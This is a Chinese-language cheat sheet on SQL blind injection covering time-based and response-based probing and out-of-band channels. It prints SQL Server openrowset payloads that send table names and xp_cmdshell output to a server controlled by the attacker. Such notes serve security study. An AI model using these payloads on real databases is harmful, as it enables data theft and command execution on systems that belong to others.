SQL盲注总结由刀豆文库小编整理,希望给你工作、学习、生活带来方便,猜你可能喜欢“sql盲注总结”。
SQL盲注总结:
1.寻找并确认SQL盲注:
1.强制产生通用错误 2.注入带副作用的查询:
计时攻击(SQL Server:waitfor delay ‘time’;MySQL:sleep;PostgreSQL:pg_sleep)利用输出进行判断(and 1=2 或者 or 1=1)
3.拆分和平衡(利用不同数据库使用不同连字符进行判断)4.常见的盲注情景:
(1)提交错误sql语句返回内容可控的页面(2)提交错误sql语句返回内容可控的页面
(3)不产生错误页面,不会影响页面输出(一般需要使用基于时间的盲注)5.各数据库位操作符:
MySQL,PostgreSQL,SQL Server: 与(AND)或(OR)非(XOR): I&J I|J I^J 2.基于时间的SQL盲注技术:
1.SQL Server:waitfor delay ‘time’;MySQL:sleep;PostgreSQL:pg_sleep 2.PostgreSQL: 创建PL/pgSQL的延迟函数 3.二分法确认sql查询的值(脚本)
4.防止不可控的时间延时干扰判断:设置足够长的时间延时,远超正常值;同时发送两个请求语句,一个True时延迟,一个在False时延迟
3.基于响应的SQL盲注技术:
根据页面的相应判断True/False
多重判断语句 Case When something: Som..When something1: Som..1 或者case后两个查询一个(>)或(
4.使用非主流通道:
1.数据库连接:
(1)SQL Server:使用openrowset函数连接远程数据库,使用insert语句将被攻击服务
器上的数据传到自己控制的服务器数据库上
insert into openrowset(‘sqloledb’,network=dbmsocn;addre=你的ip;uid=你的username;pwd=paword,’select * from attacker_table’)select name from
sysobject where xtype = ‘U’
也可以利用xp_cmdshell执行系统命令,将回显传回自己数据库中
insert into openrowset(‘sqloledb’,network=dbmsocn;addre=你的ip;uid=你的username;pwd=paword,’select * from attacker_table’)exec
master..xp_cmdshell ‘dir c:’
(2)PostgreSQL:启用dblink,利用dblink命令从攻击者数据库向被攻击者发送数据,但相
关系列函数仅对行进行操作,而不是结果集,需要编写依靠游标遍历数据的PL/pgSQL
函数
2.dns渗漏(常用):(1)dns的优点:(2)
3.htttp渗漏(oracle): 4.email渗漏(很难利用): 5.icmp渗漏(很少见):